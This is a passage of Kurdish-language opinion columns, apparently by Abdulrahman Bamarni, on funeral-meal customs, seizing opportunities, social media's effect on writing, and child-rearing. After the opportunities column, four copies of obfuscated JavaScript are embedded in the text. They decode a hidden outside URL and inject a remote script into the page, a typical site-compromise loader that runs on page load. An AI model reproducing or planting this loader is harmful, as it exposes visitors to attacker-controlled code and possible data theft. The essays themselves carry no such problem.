هۆلێن تایبەت یێن هەین، پڕانییا جاران ژی ئەو هۆل ل تاخێن دینە ژمالا خودانێ تازیێ، ل ڤێرە پرسیار تو بەهیچنی و خوە هەكە چەندێ نێزیكی خودانێ تازیێ ژی بیت، دەما دبیتە وەختێ شیڤێ، قەستا مالا خوە بكە خورنا خوە ب خۆ و پاشی هەرە مالا تازیێ! بۆ ئەڤێن ژدویر دهێن، یان درەنگ ب تازیێ دزانن، ئەرێ دێ بۆچی وەختێ خورانێ قەستا مالا خودانێ تازیێ كەیی؟ خالا دی ژی كو ب دیتنا من گەلەك یا بێ رامانە، دەما دبیتە رۆژا دوویێ ژ تازیێ و پشتی نڤێژا (مەغرەب)، دێ كۆمەكا مەزنا مرۆڤان بدویڤ مالا تازیێ كەڤن بۆ شیڤ خارنێ، پرسیار بكە؟ دێ بێژن مانێ رۆژا دووماهیێ یە و هەر وەكو خودانێ تازیێ ژی یێ وەغەركری و چ جارەكا دی نابینتەڤە و دگەل ئەڤێن من گۆتین هەمیان و گەلەك ژێ من نەگۆتین، بۆ هندەكا یا بوویە بابەتێ (داوەت نەبی)، ئێ بەهییە دێ خورانەكا خۆش خوین! ئێ بەهییە و خودانێ مالێ یێ زەنگینە، دێ مە بەتە خورانگەهێ! خودێ بێژی خوارند د مالا وان ڤە نینە، یان قەستا مالا خوە بكە و ئەگەر نەشێی قەستا مالا خوە ژی بكەی، د رێكێ دا دو لەفێن فەلافلا بخوە و پاشی هەڕە مالا بەهیێ و بۆ ئەڤێن داوەت نەبیێ نەزانن ژی، دێ وێ ژی بێژم. رۆژێن تایبەت هەبوون داوەت نەبی دگێران، ل سەر بانەكی خوران رێزدكر و هەر ئێكی كەفچكێ خوە دهەلگرت و دچوون خوران دخوار، ژبەركو خوارنەكا بەلاش و ب هزرا وی ژ یا مالێ خۆشتربوو.

عه‌بدولره‌حمان بامه‌رنی
جاره‌كێ ئه‌ز ل به‌رامبه‌ری دیداره‌كێ بووم، ل كه‌ناله‌كێ تیڤیێ دهاته‌ په‌خشكرنێ. دیدار یا بیرمه‌نده‌كێ وارێ جڤاكی بوو و د به‌رسڤا پرسیاره‌كێ دا، بیرمه‌ندی گۆت: “چه‌ند ده‌رگه‌هه‌ك ل به‌ر مرۆڤی دهێته‌ گرتنێ، په‌نجه‌ره‌یه‌ك ل جهه‌كێ دی ڤه‌دبیت”. هه‌ر چه‌نده‌ ئه‌ز گه‌له‌ك دگه‌ل ڤێ گۆتن هزرێن خوه‌ مام، ئه‌ڤ تشتێن من ژ ده‌ستداین و ئه‌ڤ تشتێن شوینا وان هاتین، چ من ده‌رفه‌ت ژێ وه‌رگرتبیت یان من ژێ وه‌رنه‌گرتبیت و رێك ئه‌و هه‌می ده‌رفه‌تێن ژ ده‌ست من چووین یان من مفا ژێ وه‌رگرتین ل سه‌ر گۆتنێ دهاتن، یا دبێژیت: (دگه‌ل داخستنا هه‌ر ده‌رگه‌هه‌كی په‌نجه‌ره‌یه‌ك بۆ مرۆڤی ڤه‌دبیت) و كێشا مه‌ و به‌لكو كێشا پرانیا مه‌، ئه‌م هه‌ر دگه‌ل هیڤیا ده‌رگه‌هی دمینین و مه‌ نه‌شیایه‌ مفای ژ په‌نجه‌ره‌یێ وه‌ربگرین.
ئه‌ز به‌حسا تشتێن ژ نشكه‌كێڤه‌ دهێن ناكه‌م، وه‌ك روودانه‌كا نه‌خوازراو چ روودانا ترۆمبێلێ بیت، سۆتن بیت یان نه‌خۆشیه‌ك ی و مرۆڤ بكه‌ڤیته‌ به‌ر نه‌خۆشخانێ و نۆشداران، لێ ده‌رفه‌ت بۆ مه‌ هه‌میان دهێن و ئه‌گه‌ر مه‌ گازنده‌یه‌ك هه‌بیت ژی، گازنده‌یا مه‌ ژ چانسی و قه‌ده‌رێ و تشتێن هۆسا نینه‌ هندی دڤێت گازندا مه‌ ژ مه‌ بخوه‌ بیت و ئه‌گه‌ر بتنێ به‌حسا ده‌رفه‌تان بكه‌م و ب نموونه‌ كا ئه‌رێَ ده‌رفه‌ت ل به‌ر مه‌ هه‌میان دڤه‌كرینه‌ یان نه‌؟ د پۆسته‌كێ فه‌یسبووكی دا ل سه‌ر ده‌رفه‌تێ و ڤه‌دیتنا ده‌رفه‌تان، من هۆسا تشته‌ك خواندبوو، كه‌سه‌كێ هه‌ژار هه‌بوو و هه‌ژاریا وی گه‌هشتبوو رادده‌یێ بێزاریێ هه‌م بۆ وی بخوه‌ و هه‌م بۆ ئه‌ڤێ هاریكاریا وی ژی دكر، جار‌كێ ێی ئینا نڤیسینگه‌ها خوه‌ و ئه‌ڤ پرسیاره‌ ژێكر، ئه‌رێ تو بۆچی یێ هه‌ژاری، گۆتێ: ژبێ چانسیا منه‌، چ كارێن باش بده‌ست من ناكه‌ڤن و ئه‌گه‌ر بده‌ست من بكه‌ڤن ژی یان ئه‌ز زمانی نزانم یان من شیانێن خوه‌ گونجاندنێ نینن و كه‌س من ناده‌ته‌ كاری و دیاره‌ قه‌ده‌را من یا هۆسانه‌، دڤێت ژیانا من هه‌می ب هه‌ژاری ده‌رباز ببیت. خودانێ نڤیسینگه‌هێ ژی چه‌ند پاره‌یه‌ك دانه‌ ده‌ستی و فرێكره‌ ناڤ بازاری بۆ كرینا تشته‌كی و ئه‌و هه‌ژاره‌ ژی چوو و تا بوویه‌ ئێڤاری زڤریڤه‌ و ئه‌و تشتێ ژێ داخوازكری دا ده‌ستێ خودانێ نڤیسینگه‌هێ و زه‌حمه‌تیا وی پاره‌یه‌ك ایێ و ۆت: ده‌ما تو چوویه‌ بازاری و هاتی ته‌ چه‌ند ترومبێلێن ره‌نگ سۆر دیتن، ئه‌گه‌ر ته‌ زانی بۆ هه‌ر ترۆمبێله‌كێ دێ پێنج هزار دیناران ده‌مه‌ته‌؟ هه‌ژاری گۆتێ: باوه‌ربكه‌ ترۆمبێلێن سۆر یێ به‌ر چاڤێن من كه‌فتین، لێ ل كیژ جاددێ بوو و چه‌ند ترومبێل بوون، من ئه‌و هزر تێدا نه‌كربوو و ئه‌ڤ سوحبه‌ته‌ ده‌رباز بوو و ئێدی چه‌ند ترۆمبێله‌ك ل به‌ر چاڤێن ڤی هه‌ژاری را ده‌رباز بایه‌، تایبه‌ت ئه‌گه‌ر یا ره‌نگ سۆر بایه‌، سه‌رنجا وی رادكێشا و تا ئه‌ڤ سوحبه‌ته‌ بۆ خودانێ نڤیسینگه‌هێ كری و وی گۆته‌ هه‌ژاری: من باوه‌ری ب هه‌ژاریێ نینه‌! هه‌ژاری یان ك ژ دهستانا دو تشتان، ئێك ته‌ ده‌رفه‌ت یێ ژ ده‌ستداین و ده‌رفه‌ت ژی وه‌ك ترومبێلێن سۆره‌ ل سه‌ر جاددێ و ره‌نگه‌ رۆژانه‌ ده‌رفه‌ت دهێن و دچن، لێ له‌زاتیا ده‌ربازبوونا وان كه‌سه‌ك بۆ دڤێت مفای ژ هه‌ر تشتی وه‌ربگریت، دیسا هه‌ژاری یان كو ته‌ نه‌بتنێ ده‌رفه‌ت یێن ژ ده‌ستداین، لێ ئه‌و ده‌رفه‌تێن بۆ ته‌ هاتین ژی ته‌ یێن گۆری تشته‌كێ دی كرین، ئه‌رێ پرسیار چه‌ند كه‌س هه‌نه‌ هنده‌ك پاره‌ ل به‌ر ده‌ستی هه‌بووینه‌ و ب رێیا قه‌چاخیێ را مه‌زاختینه‌ دا خوه‌ بگه‌هینه‌ ئه‌ورۆپا و تا نوكه‌ د بن كرێیان دانه‌؟ چه‌ند كه‌س هه‌نه‌ چووینه‌ ترومبێ ب قست كریه‌ و هزرنه‌كرینه‌ وی پاره‌ی بۆ خوه‌ پارچه‌كا ئه‌ردی بكرن و ده‌رفه‌ته‌كا دی ئاڤاهیه‌كی ل سه‌ر دروست بكه‌ن؟ ئه‌رێ چه‌ند كه‌س هه‌نه‌ شوینا خوه‌ پێبگه‌هینن، خوه‌ فێری زمانی بكه‌ن، شیانێن خوه‌ زێده‌ بكه‌ن، شوینا ببنه‌ هۆستا و پیشه‌دار، لێ ب ژیانا به‌رده‌ستكیێ خوه‌ رازیكرینه‌؟ ئه‌رێ مه‌ چه‌ند كه‌س هه‌نه‌ شوینا پیاسه‌یێن بازاری، ده‌ركه‌فتنێن دگه‌ل هه‌ڤالان، چایخانه‌ و مژولاهیێن دی و د ده‌مه‌كی دا ئه‌گه‌ر وان خواندنا خوه‌ ته‌مام كربایه‌ یان تا ئه‌گه‌ر هاتبنه‌ دامه‌زراندن ژی، لێ به‌رده‌وامیێ بده‌نه‌ خواندنێ و باوه‌رامه‌كا دی ده‌ست ڤه‌بینن و هه‌یڤانه‌ پاره‌یه‌كێ دی بچیت سه‌ر مووچێ وان و ئه‌رێ و ئه‌رێ و ئه‌رێ یێن مه‌ ب دووماهی ناهێن، ئه‌رێ ما ڤان هه‌می ده‌رفه‌تان چانس و قه‌ده‌ر بۆ دڤێن یان هشیاریا مرۆڤی و خوه‌ پێگه‌هاندن؟!.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

عه‌بدولره‌حمان بامه‌رنی
ئایا ئه‌م دشێین سۆشیال میدیایێ ب شۆرش ناڤ بكه‌ین؟ بۆ به‌رسڤدانا پرساره‌كا ژ ڤی ره‌نگی، دڤێت ل هنده‌ك داتایێن سۆشیال میدیایێ بخوه‌ بزڤرین و كا د سۆشیالێ دا چ روودده‌ت. دا كو بابه‌ت گه‌له‌كێ هلنه‌گریت، دێ زێده‌تر ل سه‌ر بابه‌تێن ره‌وشه‌نبیری راوه‌ستم و مه‌به‌ستا من ژی ب ئازراندنا بابه‌ته‌كێ ژڤی جۆری، بۆ سه‌رنج راكێشانا خوانده‌ڤایێ كورده‌ و د هه‌مان ده‌مدا، بۆ سه‌رنج راكێشانا نڤیسه‌رێ كورده‌.
ئێكه‌م جار، دڤێت بزانین سۆشیال میدیا چ پێشكێش دكه‌ت: د سوشیالێدا و ئه‌گه‌ر ئه‌م تۆڕا فه‌یسبۆكێ بكه‌ینه‌ نموونه‌، كو زێده‌تر به‌كارهێنه‌رێن خوه‌هه‌نه‌. نه‌ بتنێ د رۆژێ دا جاره‌كێ، به‌لكو ژ ده‌مژمێرێ ژی ڤه‌گه‌ره‌ و د هه‌ر چڕكه‌یه‌كێ دا ده‌هان پۆست دكه‌ڤنه‌ به‌رچاڤێن مرۆڤی و ره‌نگه‌ ئه‌گه‌ر په‌یوه‌ندیێن مرۆڤی گه‌له‌ك بن و مرۆڤ د گه‌له‌ك په‌یچان دا یێ كاڕا بیت، هه‌ر مرۆڤ ناگه‌هیت ته‌ماشه‌ی هه‌میان بكه‌ت و ره‌نگه‌ دێ گه‌له‌ك تشتێن زێده‌ د به‌رچاڤێن مرۆڤی را ده‌رباز بن یا من دڤێت بێژم، گه‌له‌ك تشتێن گرنگ، جهێ پیته‌دانا مرۆڤی، یێن مرۆڤی حه‌ز لێهه‌ین پێزانینان ژێ وه‌ربگریت ده‌رباز دبن و مرۆڤی ئه‌و ده‌م نامینیت ل سه‌ر هه‌میان راوه‌ستیت و ئه‌ڤ راوه‌ستیانا هه‌نێ ژی من مه‌به‌ست پێ هه‌یه‌ بكه‌مه‌ نیڤشكێ بابه‌تێ خوه‌ كو من ب شۆرش ناڤكری.
دا ژ نڤیسكایێ ده‌ستپێبكه‌ین:
ل دویڤ پۆست و گۆتارێن د (سۆشیال میدیایێ) دا دهێنه‌ بلاڤكرنێ. ئێدی خه‌لك نه‌چار نینه‌ ل سه‌ر گۆتارا یان پۆسته‌كێ درێژێ كه‌سه‌كی راوه‌ستیت، تا لدووماهیێ بزانیت كا ڤی نڤیسكارێ هه‌نێ چ نڤیسی یه‌. ئه‌گه‌ر پێش خورتبوونا ئه‌نترنێتێ لده‌ف مه‌، نڤیسه‌ران گۆتارێن درێژ هه‌بن، رۆژنامێ بۆ نیڤ لاپه‌ر یان زێده‌تر ته‌رخانكربن و خوانده‌ڤانی گۆتارا وی هه‌می خواند بیت، ئێدی د سۆشیالێ دا ئه‌و نه‌ما. ده‌ما خوانده‌ڤان گۆتاره‌كا درێژ دبینیت، چه‌ند یا گرنگ ژی بیت ره‌نگه‌ بتنێ بۆ دلێ نڤیسه‌ری گوله‌كێ یان لایكه‌كێ ل سه‌ر گۆتارا وی بده‌ت و لڤێره‌ نڤیسه‌ر نه‌چار دمینیت گوهۆرینێ د شێوازێ خوه‌یێ نڤیسینێدا بكه‌ت و دڤێت ب كێمترین په‌یڤ بابه‌تێ خوه‌ بگه‌هینیت و شرۆڤه‌كرن، ڤه‌جینا بابه‌تی و كا گۆتارا وی چه‌ند یا درێژه‌ ئه‌ڤه‌ نڤیسه‌رییا وی پیشاندده‌ت، ناخووت، به‌لكو خوانده‌ڤای ژێ دڤێت، ب كێمترین په‌یڤ، تشتێ هه‌ی ب ده‌ربرینه‌كا جوان بگه‌هینیت و لڤێره‌ گه‌له‌ك نڤیسه‌ران شیاینه‌ خوه‌ دگه‌ل ڤان گوهورانكاریان بگونجینن و نه‌ بتنێ ئه‌ڤه‌، به‌لكو سۆشیال میدیا و ئه‌رنترنێت بگشتی یا بۆ وان بوویه‌ پێنگاڤه‌كا گرنگ كو به‌رهه‌مێ وان بگه‌هیته‌ زێده‌ترین خوانده‌ڤا ل هه‌ر كوژیێ جیهانێ بیت، كو ل دووماهیێ ژی مه‌به‌ستا نڤیسه‌ری هه‌ر ئه‌ڤه‌یه‌، ئه‌و تشتێ ئه‌و دنڤیسیت باشترین خوانده‌ڤان بۆ هه‌بیت.
لدوور خوانده‌ڤای:
ئه‌گه‌ر د ده‌مه‌كی دا بۆ نڤیسه‌ری ده‌رباز ببیت و هه‌ر تشتێ وی نڤیسا بیت وه‌ك خوه‌ بلاڤ ببیت و خوانده‌ڤایێ وی بتنێ خوانده‌ڤان بیت، ئێدی خوانده‌ڤا ژی بوویه‌ به‌شه‌ك ژ نڤیسینێ، خوانده‌ڤا ل سه‌ر هه‌ر بابه‌تێ یان پۆستێ د سۆشیالێدا بلاڤ دبیت رادوه‌ستیت، ئێدی ل رۆلێ ره‌خنه‌گری ژی رادبیت و راسته‌ راست كۆمێنتا خوه‌ دنڤیسیت و دیتنا خوه‌ ده‌رباره‌ی گۆتارێ یان پۆستی ده‌ردبریت و نه‌ بتنێ ئه‌ڤه‌، به‌لكو گه‌له‌ك خوانده‌ڤایێن دی ژی یێن سۆشیالێ ل كۆمێنتا دزڤرن و ب ره‌نگه‌كی و دوویان دبنه‌ پشكه‌ك ژ گۆتارێ، یان كو ئێدی تا نڤیسه‌ر گۆتاره‌كێ بلاڤدكه‌ت، نه‌چاره‌ چه‌ندین جارێن دی ل گوتارا خوه‌ بزڤریت و ل سه‌ر راوه‌ستیت و شنی ببلاڤ بكه‌ت.

عه‌بدولره‌حمان بامه‌رنی
ئه‌رێ راسته‌ په‌روه‌رده‌كرنا زارۆكی هونه‌ر بۆ دڤێت یان د شیانێن هه‌ر كه‌سه‌كیدایه‌، كو دێ شێت زارۆكی ب خودان كه‌ت؟ ئه‌ڤ پرسیاره‌ گه‌له‌ك جارا دهێته‌كرنێ و هنده‌ك دبێژن ئه‌گه‌ر خێزانێ زارۆك كێم هه‌بن، دێ باشتر هێنه‌ ب خودانكرن و لێ خێزان یێن هه‌ین زارۆكێن وان د كێمن، ئێك یان دوو بتنێ نه‌ و كه‌سێن زیره‌ك ژێ دروست نه‌بووینه‌ و خێزانێن هه‌ین هه‌شت زارۆك و زێده‌تر ژی یێن هه‌ین، لێ ده‌ما ئه‌ڤ زارۆكه‌ مه‌زن ژی بووین شیاینه‌ پشتبه‌ستنێ ل سه‌ر خوه‌ بكه‌ن و لڤێره‌ دیاردبیت، كو به‌لێ ب خودانكرنا زارۆكی هونه‌ر بۆ دڤێت و ره‌نگه‌ ده‌یك و باب دبنه‌ ئه‌گه‌ر كو ئه‌ڤ زارۆكه‌ كه‌سه‌كێ خودان شیان بیت و ره‌نگه‌ ژی داهێنانێ لده‌ف وی ب كوژن و ئێدی ڤی زارۆكی باوه‌ری بخوه‌ نه‌بیت.
به‌را چه‌نده‌كێ بوو من پارچه‌ ڤیدیۆیه‌ك دیت، زارۆكه‌كی یاریكا خوه‌ كو ترۆمبێله‌كا بچویك بوو و تایره‌كا وێ ژێڤه‌ببوو، بره‌ ده‌ف بابێ خوه‌ كو ل سه‌ر كورسیكه‌كێ یێ روونشتی بوو، گوته‌ بابێ خوه‌ باب تایرا ترۆمبێلكا من یا ژێڤه‌بووی بۆ من چێكه‌؟ لێ ژبه‌ركو باب یێ مژوولی خواندنا رۆژناما خوه‌بوو، هه‌ر وه‌ك دیار ژی ژ ئه‌وا ژناڤمالیێ د وێ پارچه‌ ڤیدیۆیێ دا ده‌ركه‌فتی خێزانه‌كا ده‌وله‌مه‌ندبوو، ئینا بابێ وی ترۆمبێله‌ك ژ ده‌ستێ زارۆكێ خوه‌ ئیناده‌رێ و هاڤێته‌ د سه‌لكا گلێشیدا و گوته‌ كورێ خوه‌، ئه‌ڤ یاریكه‌ چێنابیت و یا شكه‌ستی، ده‌ما دچمه‌ بازاری دێ بۆ ته‌ ئێكا باشتر كرم. لێ زارۆك چوو ترۆمبێلكا خوه‌ ژ سه‌لكا گلشی ئیناده‌رێ ڤه‌ و دانا عه‌ردی و تایرا وێ راكر و دانا سه‌ر ئاسنكێ كو تایره‌ دكه‌ڤیتێ و ل سه‌ر شداند و تایرا ترۆمبێلكا وی چوو جهێ خوه‌ و گوته‌ بابێ خوه‌، ئها ئه‌ڤه‌ ترۆمبێلكا من دروست بوو و قه‌ستا یاریكرنا خوه‌ كره‌ڤه‌. ژ ڤێ پارچه‌ ڤیدیۆیێ هه‌ر كه‌سه‌كێ بینته‌ به‌رچاڤێن خوه‌، مرۆڤ دشێت ڤان ده‌رئه‌نجامان ژێ بینته‌ ده‌رێ ئه‌وژی:
ـ زارۆكی دڤیا سه‌رنجا بابێ خوه‌ رابكێشیت، كو به‌لێ ئه‌ز یێ دمالێدا و هنده‌ك ده‌مێ خوه‌ بده‌ من خوه‌ ئه‌گه‌ر یاریكا ژی دگه‌ل من نه‌كه‌ی، لێ ب ره‌نگه‌كی و دوویان هه‌ست بمن بكه‌ و د به‌رامبه‌ردا، بێ ڤی زارۆكی نه‌ بتنێ ده‌مێ خوه‌ نه‌ددا زارۆكێن خوه‌، به‌لكو ده‌ما ئه‌ڤ ده‌ستپێشخه‌ریه‌ ژلایێ زارۆكێ ویڤه‌ بۆ هاتی، ئه‌وی ب گرنگی نه‌زانی و هزرا هه‌می ل ده‌رڤه‌ی مالێ و خێزانێ یه‌ و خێزان ل ده‌ف وی تشته‌كی لاوه‌كییه‌.
ـ ده‌ما بابێ گۆتییه‌ زارۆكی كو ئه‌ڤ ترومبێلكه‌ ئێدی شكه‌ست و ب كێر یاریكرنێ ناهێت و دێ بۆ ته‌ ئێكا نوی كرم، هه‌ر وه‌كو بیرۆكه‌یه‌ك د مێشكێ ویدا دروست كری كو به‌رده‌وام پاره‌ی ب مه‌زێخیت و ژلایه‌كێ دیڤه‌ ته‌مبه‌لیێ لده‌ف دروست بكه‌ت و به‌هره‌مه‌ندیێ ل ده‌ڤ دكوژیت.
ـ ده‌ما زارۆكی گۆتیه‌ بابێ خوه‌ دێ ترۆمبێلكێ دانیه‌ عه‌ردی و دێ تایركا وێ ئێخینه‌ سه‌ر ڤی ئاسنكی و دێ دروست بیت، ئه‌وی شییا وانه‌كێ بده‌ته‌ بابێ خوه‌ و هه‌ر كه‌سێ وێ پارچه‌ ڤیدیۆیێ دبینیت، كو ئه‌ڤا ته‌ كری به‌روڤاژیا وێ دروسته‌ و نابیت هه‌ر تشتێ كێماسیه‌ك گه‌هشتێ مرۆڤ ژكاربێخیت.